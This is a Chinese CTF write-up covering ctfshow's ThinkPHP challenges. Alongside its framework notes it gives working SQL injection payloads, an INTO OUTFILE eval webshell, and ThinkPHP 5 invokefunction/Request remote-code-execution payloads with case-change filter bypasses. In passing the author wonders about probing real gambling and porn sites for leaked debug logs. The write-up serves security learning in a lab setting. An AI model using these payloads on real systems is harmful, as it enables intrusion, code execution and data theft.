目录

ctfshow-thinkphp专题

笔者说

在此之前,对于tp框架题目我总是选择逃避,听说鲷鱼瑟琴菠菜网站一般会使用这些框架(),咳,学习一下框架(姿势)。在ctfshow靶场和tp官方文档的引导下,可以丝滑入门。

tp

描述:此专题专门用来深入学习thinkphp

# web 569

描述:本题使用的版本为3.2.3

打开题目提示thinkphp 专项训练-pathinfo的运用,flag在Admin模块的Login控制器的ctfshowLogin方法中

1

谷歌一下thinkphp3 pathinfo (opens new window)

在这里,没有截全

2

可以了解到pathinfo几种模式,url默认区分大小写,可以修改默认配置

  • thinkphp 3.2标准模式(pathinfo模式)

http://serverName/index.php/模块/控制器/操作

  • URL模式

如果我们直接访问入口文件的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(Home)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:

http://serverName/index.php
http://serverName/index.php/Home/Index/index
1
2
  • 普通模式

普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如: http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作(方法),后面的表示其他GET参数

  • PATHINFO模式

PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是: http://localhost/index.php/home/user/login/var/value/

  • REWRITE模式

REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则。

  • 兼容模式

兼容模式是用于不支持PATHINFO的特殊环境,URL地址是: http://localhost/?s=/home/user/login/var/value

可以更改兼容模式变量的名称定义,例如:

'VAR_PATHINFO'          =>  'path'
// 更改PATHINFO参数分隔符
'URL_PATHINFO_DEPR'=>'-', 
1
2
3

配置后可以使用http://localhost/?path=/home-user-login-var-value访问

啰嗦了。回归主题:flag在Admin模块的Login控制器的ctfshowLogin方法中

访问:

标准模式:url/index.php/Admin/Login/ctfshowLogin

普通模式:url/index.php?s=/Admin&c=Login&a=ctfshowLogin

pathinfo模式(标准模式):url/index.php/Admin/Login/ctfshowLogin

兼容模式:url/index.php?s=/Admin/Login/ctfshowLogin

# web 570

描述:黑客建立了闭包路由后门,你能找到吗

谷歌一下thinkphp3 闭包路由 (opens new window)

学习到了闭包路由传递参数

规则路由:

规则路由中定义的动态变量的名称 就是闭包函数中的参数名称,不分次序。 因此,如果我们访问的URL地址是: http://serverName/Home/hello/thinkphp

这个规则路由发现符合url/hello/var/value时,参数传递比较简单,直接拿进去了

'hello/:name' => 
    function($name){
        echo 'Hello,'.$name;
    }
1
2
3
4

正则路由:

如果是正则路由的话,闭包函数中的参数就以正则中出现的参数次序来传递,例如:

通过正则来匹配参数

'/^new\/(\d{4})\/(\d{2})$/' => 
    function($year,$month){ 
        echo 'year='.$year.'&month='.$month;
    }
1
2
3
4

嘻嘻。懒得一个一个找了,直接扔d盾了,在Common/Conf/config.php文件里

4

发现在ctfshow模块存在call_user_func回调函数做后门,利用一下

'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
1
2
3

5

测试一下,url/index.php/ctfshow/assert/phpinfo();

完美

6

对了。不要在参数里写/,这会和thinkphp这种把参数值写在url里的模式发生冲突

7

可以传递参数,用个POST参数绕过一下

8

# web 571

描述:hello,黑客建立了控制器后门,你能找到吗

谷歌一下 thinkphp3 控制器 (opens new window)

可以学习到:

  • ThinkPHP的控制器是一个类
  • 这个类(控制器)下面定义的函数叫做操作(方法)

9

例子:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function hello(){
        echo 'hello,thinkphp!';
    }
}
1
2
3
4
5
6
7
8

Home\IndexController类就代表了Home模块下的Index控制器,而hello操作就是Home\IndexController类的hello(公共)方法。

当访问 http://serverName/index.php/Home/Index/hello 后会输出:

hello,thinkphp!
1

这里我发现:定义的类名为IndexController,访问的时候却可以省略Controller,直接访问Index,奇怪了?

在 ThinkPHP 中,类名后缀 Controller 可以在访问 URL 时省略,是因为框架在内部处理请求时,会自动加上这个后缀来寻找对应的控制器类。框架遵循一定的命名约定,自动匹配用户输入的控制器名称和带有 Controller 后缀的类名。

回归主题:找到控制器后门

丢进d盾,竟然没找到

Admin/Controller/路由下存在两个php文件,内容基本一下,没有看到接受参数,应该不是后门

10

最终可以在Home/Controller/IndexController.class.php文件里找到后门show方法,会解析php代码

在这里,可以知道后门函数处于Home模块的IndexController控制器,不理解的是为什么这个函数可以接受GET、POST参数

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
        $this->show($n);
    }

}
1
2
3
4
5
6
7
8
9

11

这两种都可以

GET:url/index.php/Home/Index/index/?n=<?php phpinfo();?>

POST:url/index.php/Home/Index/index/ + n=<?php phpinfo();?>

为什么这种不行??也就是上面提到的pathinfo模式

GET:url/index.php/Home/Index/index/n/<?php phpinfo();?>

# web 572

描述:hello,没有源码,如何获取黑客的蛛丝马迹?

信息泄露挖掘,thinkphp3在调试模式下会记录详细的日志信息

thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志,虽然Thinkphp官方一再强调生产模式下需要关闭debug,但很多管理员还是忘记关闭。

似乎是这样的,那是不是说看到鲷鱼瑟琴菠菜类网站是tp框架可以看看是否忘记关闭了调试模式呢(若有所思)

谷歌一下日志记录 (opens new window)

thinkphp日志泄露 (opens new window)

默认情况下只是在调试模式记录日志,要在部署模式开启日志记录,必须在配置中开启LOG_RECORD参数,以及可以在应用配置文件中配置需要记录的日志级别,例如:

'LOG_RECORD' => true, // 开启日志记录
'LOG_LEVEL'  =>'EMERG,ALERT,CRIT,ERR', // 只记录EMERG ALERT CRIT ERR 错误
1
2

ThinkPHP3日志目录

  • /Runtime/Logs/

  • /App/Runtime/Logs/

  • /Application/Runtime/Logs/Admin/

  • /Application/Runtime/Logs/Home/

  • /Application/Runtime/Logs/

  • 日志格式为:/App/Runtime/Logs/21_05_17.log

TP5有所不同,这里不提

回归主题:找到泄露的敏感信息(日志目录,日志文件)

尝试上面列举的日志目录,看是哪一类

如果是不符合的目录,tp框架似乎没有反应

12

在试到/Application/Runtime/Logs/Admin//Application/Runtime/Logs/Home/类型时,页面提示403,说明存在,尝试访问日志24_01_01.log时,页面又变成之前没有反应的样子了,说明这个日志不存在,bp爆破出存在的日志,多爆几年也没什么(展示容错),从24年开始试

13

14

GET /Application/Runtime/Logs/Admin/§24_01_01§.log HTTP/1.1
Host: 19862dcf-d6d6-466c-a486-2836bd3ee425.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
1
2
3
4
5
6
7
8

15

爆破返回数据长度都一样,24年没有日志,往前试。闹麻了,爆了5年都没有,尝试下/Application/Runtime/Logs/Home/目录下的日志

GET /Application/Runtime/Logs/Home/§24_01_01§.log HTTP/1.1
Host: 19862dcf-d6d6-466c-a486-2836bd3ee425.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
1
2
3
4
5
6
7
8

找到线索,大概是类似前面的show方法渲染?

[ 2021-04-15T14:49:32+08:00 ] 127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3E
1

16

17

# web 573

描述: sql注入,flag在数据库中

测试正常sql注入时,似乎不会查询,猜测tp框架内部重写了查询语句

谷歌一下查询方式 (opens new window)

ThinkPHP可以支持直接使用字符串作为查询条件,但是大多数情况推荐使用数组或者对象来作为查询条件,因为会更加安全。

首先,支持正常的字符串查询,其次,tp框架支持且推荐以数组或者对象作为查询条件,举例

  • 使用数组作为查询条件

这种方式是最常用的查询方式,例如:

$User = M("User"); // 实例化User对象
$condition['name'] = 'thinkphp';
$condition['status'] = 1;
// 把查询条件传入查询方法
$User->where($condition)->select(); 
1
2
3
4
5

最后生成的SQL语句是

SELECT * FROM think_user WHERE `name`='thinkphp' AND status=1
1

好了,关键就在这里,发现了吗,tp框架会把数组变量的键值对作为sql语句里的查询条件

看了其他师傅的wp,发现可以给变量添加一个where键名,实现复写原sql语句的where条件!震惊

回归主题:SQL注入

传一个数组变量id,键名where,键值为查询条件,给一个错误的sql条件,报下错,验证是否能复写where

20

这里可以看到,条件只要合理,是完全可控的。通过测试,发现存在4个字段,第二个字段是会回显位

21

# 爆库  ctfshow,ctftraining,information_schema,mysql,performance_schema,test
?id[where]=0 union select 1,group_concat(schema_name),2,3 from information_schema.schemata%23
# 爆表  ctfshow_users,flags,FLAG_TABLE,news,users ....
?id[where]=0 union select 1,group_concat(table_name),2,3 from information_schema.tables%23
# 爆字段
?id[where]=0 union select 1,group_concat(column_name),2,3 from information_schema.columns%23
#爆flag
?id[where]=0 union select 1,group_concat(flag4s),2,3 from ctfshow.flags%23
1
2
3
4
5
6
7
8

其他师傅做到详细跟踪tp3 SQL注入漏洞跟踪 (opens new window)

# web 574

描述:sql注入,flag在数据库中

给出提示:这里把接收到的参数和字符串'id='进行了拼接,那么间接的禁止了传入数组类型

不过,这里是不是说直接把拼接的内容作为查询条件了???

public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
1
2
3
4

太棒了,我喜欢!

22

这里的括号可以闭合,下面操作就和上题一样了。狠狠的注入正能量!

23

# web 575

描述:需要拿shell,稍微有点难

题目给出了使用的部分源码

群主的预期解是写入shell,但是使用了show()方法,存在渲染漏洞的非预期

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
1
2
3
4
5
6
7
8

这里需要谷歌的是模块化设计 (opens new window)

在源码里出现了一次M('Users'),说明使用了Model模块,在tp框架中,Model模块定义在Thinkphp下,如果要玩非预期的打法,需要继承一下Think\Model,在反序列化时会找不到类,导致反序列化失败

24

如果反序列化成功且传入的id和反序列化的id相同,会直接渲染反序列化对象$user的username属性。在if条件语句里执行了M('Users'),使用反序列化恢复了一个Model对象,可以知道,需要使用Model

25

只需要控制$username属性,就可以实现渲染php代码

exp:

<?php
namespace Think;
class Model{
    public $id='2';
    public $username="<?php phpinfo();?>";
}
$payload = new Model();
var_dump($payload);
echo 'paylaod$: '.base64_encode(serialize($payload));
1
2
3
4
5
6
7
8
9

base64结果可以url编码一下更好

26

27

另外一种需要拿shell,稍微有点难,看其他师傅博客的poc好长,等我变成tp大佬就回来分析(星星眼)

# web 576

描述:注释注入,需要拿shell

$user = M('Users')->comment($id)->find(intval($id));
1

调用了comment()方法,项目源码里审计一下,审计了个寂寞

28

谷歌一下thinkphp3 comment (opens new window)

看到了吗,comment()方法里的内容直接左右拼接注释符/**/,最后再拼接到原语句的最后,可以坏坏!!

我们在comment()方法里传入/**/,就可以闭合comment()方法里的注释符,在最后的拼接环节实现sql注入

29

尝试闭合前半部分,让sql报错

30

闭合后半部分后,正常查询,当然,后半部分也可以直接通过#注释掉

31

那么,在两个注释之间的内容就是我们拼接到sql语句里的可控部分了,这里似乎不存在堆叠注入,道友们可以尝试一下

在这个sql语句里,intval($id)查询了一个id,返回结果是当前表里的内容,不可控了。我们可以控制sql语句结束时的操作,例如:把查询内容写进文件,可以控制文件名,实现写一个木马,使用mysql的骚操作,更改间隔符,填充木马内容。如此,在sql查询内容受限的添加下写入木马

Mysql指定文件分隔符 (opens new window)

32

?id=1*/ into outfile '/var/www/html/1.php' LINES STARTING BY '<?php highlight_file(__FILE__);eval($_GET[1]);?>'%23
1

33

# web 577

描述:flag在数据库里

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
1
2
3
4

谷歌一下thinkphp3 where( (opens new window)

34

在官方文档里可以学习到

$map['字段1']  = array('表达式','查询条件1');
$map['字段2']  = array('表达式','查询条件2');
$Model->where($map)->select(); // 也支持
1
2
3

那么是不是等效:

$map = arrray(
    "字段1" => array('表达式','查询条件1'),
    "字段2" => array('表达式','查询条件2')
)
1
2
3
4

到这里,你有思路了吗?$_GET[id]可以是一个数组类型,数组的第一个值作为表达式,第二个值作为查询条件!!再回顾一下这个图,思考这个$map是怎么和where一起使用的

34

我的看法是:sql语句中的where会根据指定的表达式类型,选择字段查询条件的处理逻辑

where 字段?查询条件(表达式)  
1

选择exp类型,那么查询条件可以使用一条sql语句!

开搞,根据报错信息,合理调整,注意前面多补个=等号,把字段和查询语句拼接起来

35

第二个是回显位,开!!!

?id[0]=exp&id[1]==0 union select 1,2,3,4%23
?id[0]=exp&id[1]==0 union select 1,group_concat(flag4s),3,4 from flags%23
1
2

# web 578

描述:变量覆盖导致rce

public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
1
2
3
4

下面要献丑了,过两天一定学vscode或者phpstorm动调

在tp框架里查找assign()方法的定义,没什么敏感内容。不过注释里写模板变量赋值,往下看有没有模板解析

public function assign($name, $value = '')
    {
        if (is_array($name)) {
            $this->tVar = array_merge($this->tVar, $name);
        } else {
            $this->tVar[$name] = $value;
        }
    }
1
2
3
4
5
6
7
8

36

下面定义了一个解析的fetch()函数,解析模板输出内容,重点:里面多次使用了extract函数覆盖变量,多次使用文件包含模板文件,或者使用eval解析php内容

37

截取部分fetch()函数代码,看到如果$this->tVar['content']存在,那么extract()函数会覆盖当前作用域的变量,然后eval()函数解析php代码,回去看assign()函数,看看$this->tVar['content']是怎么来的

(isset($this->tVar['content'])) {
    $__content__ = $content;
    extract($this->tVar, EXTR_OVERWRITE);
    eval('?>' . $__content__);
} else {
    extract($this->tVar, EXTR_OVERWRITE);
    eval('?>' . $content);
}
1
2
3
4
5
6
7
8

在这个assign()函数里,判断在属性$this->tVar里是否存在第一个参数,如果不存在,使用array_merge($this->tVar, $name);$this->tVar添加新属性和值,如果存在,直接把参数值$value赋值给$this->tVar,总之会把$name赋值给$this->tVar。我们可以给他一个content参数,渲染php代码

::: dangerous fu*k,白忙活了,我说怎么跟别的师傅环境不一样,我还一直以为我的是tp3.2.3,原来是tp3.2.5,天塌了 :::

v3.2.3项目地址 (opens new window)

ok啊,不好意思。让我们重新开始,tp323和tp325版本只有这个fetch函数稍有不同

fetch函数:

extract() 是 PHP 的一个内置函数,它将数组 $this->tVar 中的键值对转换为独立的 PHP 变量,如果$this->tVar数组里有_content属性,那么会覆盖当前作用域的_content变量,eval('?>' . $_content);解析执行一个php代码

if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
            // 使用PHP原生模板
            $_content = $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content) ? include $templateFile : eval('?>' . $_content);
        } 
1
2
3
4
5
6
7
8

所以直接在这里传值覆盖一下$this->assign($name,$from);

因为assgin的if判断两种格式总之都是给属性$this->tVar添加新属性,所以payload有两种写法

?name[_content]=<?php phpinfo();?>
?name=_content&from=<?php phpinfo();?>
1
2

# web 579

描述:未开启强制路由RCE

在tp官方文档里了解到了强制模式,像flask框架一样,只有定义的路由可以正常访问,否则抛出异常

39

在网上找到了相关文章及poc (opens new window),强制路由RCE漏洞Thinkphp55.0.0 - 5.1.30 远程代码执行(路由处理漏洞)

38

其他师傅博客wp里的payload?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls,跟着到源项目里跟一下漏洞点

v5.1.28项目地址 (opens new window)

在本地用phpstudy的composer在www目录搭个tp5.0.*的环境

composer create-project topthink/think=5.0.* tp5  --prefer-dist
1

在源码里找到了漏洞点!!在./tp5/thinkphp/library/think/App.php中,定义了payload里利用的invokefunc方法

这个 invokeFunction 方法通过反射机制动态调用一个函数,同时可以灵活绑定参数。它的核心功能是接受一个函数名和参数列表(数组),然后使用 PHP 的 ReflectionFunction 来安全地调用该函数,这个函数要可以处理数组,要达到rce的目标,可以使用call_user_func_array函数

public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}
1
2
3
4
5
6
7
8
9
10

40

好了,那么一切都迎刃而解了。这个路由和方法太过于危险,如果普通用户也可以访问利用来执行命令非常可怕,事实上默认配置也是允许用户访问的,所以题目描述未开启强制路由RCE

那么,理论上只要可以访问这个方法就可以实现rce,把常用的路由模式都是一遍(x),新的url模式 (opens new window),并且tp5默认url不区分大小写了

  • http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
  • http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

这里第一种方式似乎解析不了,用第二种?s来解析

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
1

tp5的一些常用payload:

?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
1
2
3
4
5
6
7

提示

提一下,tp5 url模式不再区分大小写了,所以如果出现过滤关键词的情况,可以尝试大小写绕过,只管去做!

# web 604

描述:未开启强制路由,举一反二

提示

题目里给出了tp5的版本号:版本thinkphp 5.1.29,其实不给也是可以的,通过报错使tp框架报错,通过返回的版本号直接谷歌对于漏洞打,太爽了

用上一题的payload打,提示invokefunction 这条路子不通,想想其他路子~,使用上题提供的其他payload,也可以把invokefunction里替换为大写,通过url不区分大小写绕过

太好玩啦!你还有多少惊喜是我不知道的???

?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/input&filter=assert&data=phpinfo();
?s=index/think\Request/input&filter[]=assert&data=phpinfo();
1
2
3
4

我的失败尝试:

invokefucntion方法下面接着看,还有invokeMethod,invokeClass

invokeMethod方法的定义如下,接收两个参数,第一个是类的方法,第二个是数组参数

public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new \ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new \ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

    return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

尝试了两个原生类都不行,是用法错了吗?提示方法不存在,道友们有兴趣试试

?s=index/\think\app/invokeMethod&method=SplFileObject::__toString&vars[0]=php://filter/convert.base64-encode/resource=/flag
?s=index/\think\app/invokeMethod&method=Error::getmessage&vars[0]=system&vars[1][]=ls
1
2

# web 605

描述:未开启强制路由RCE-姿势2 版本thinkphp 5.1.29 举一反二

过滤了invokefunctioninput,可以尝试url不区分大小写绕过。也可以试试试写文件,这里是可以的,为什么前面几题没用?试了,要么执行不了,要么没有写的权限

?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/iNput&filter=assert&data=phpinfo();
?s=index/think\Request/INPUt&filter[]=assert&data=phpinfo();
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
1
2
3
4
5

# web 606

描述:未开启强制路由RCE-姿势4 版本thinkphp 5.1.29 举一反四

每次禁用上一题使用的payload的关键字时,通过大小写绕过一下即可。这题在上面的基础过滤了write,大写即可

?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/iNput&filter=assert&data=phpinfo();
?s=index/think\Request/INPUt&filter[]=assert&data=phpinfo();
?s=index/THINK\template\driver\file/WRITE&cacheFile=shell.php&content=<?php phpinfo();?>
1
2
3
4
5

# web 607

描述:未开启强制路由RCE-姿势5 举一反五

上的payload还是可以打,似乎都仅仅是过滤了小写

?s=index/\think\app/INVokefuNcTion&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/\think\app/inVOkEFUNction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
?s=index/think\Request/iNput&filter=assert&data=phpinfo();
?s=index/think\Request/INPUt&filter[]=assert&data=phpinfo();
?s=index/THINK\template\driver\file/WRITE&cacheFile=shell.php&content=<?php phpinfo();?>
1
2
3
4
5

学到一条新链子

利用了一个__call()方法再触发display方法,可以渲染php代码

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>
1

没什么意思,学一下其他可以解析的链子,并不是所有版本都适用!

?s=index/\think\Lang/load&file=/etc/passwd   # 读取文件,如果知道flag文件名,....
?s=index/\think\Config/load&file=/etc/passwd # 包含任意文件,适用v5.0.*
1
2

一直到610,都是这个思路,只是过滤了不同的关键字,大小写绕过

后续似乎都是反序列化挖链子的,打算单开一篇学习,那就到此结束了拜拜拜拜

参考、致谢:

最后一次更新于: 2024/11/21, 01:06:24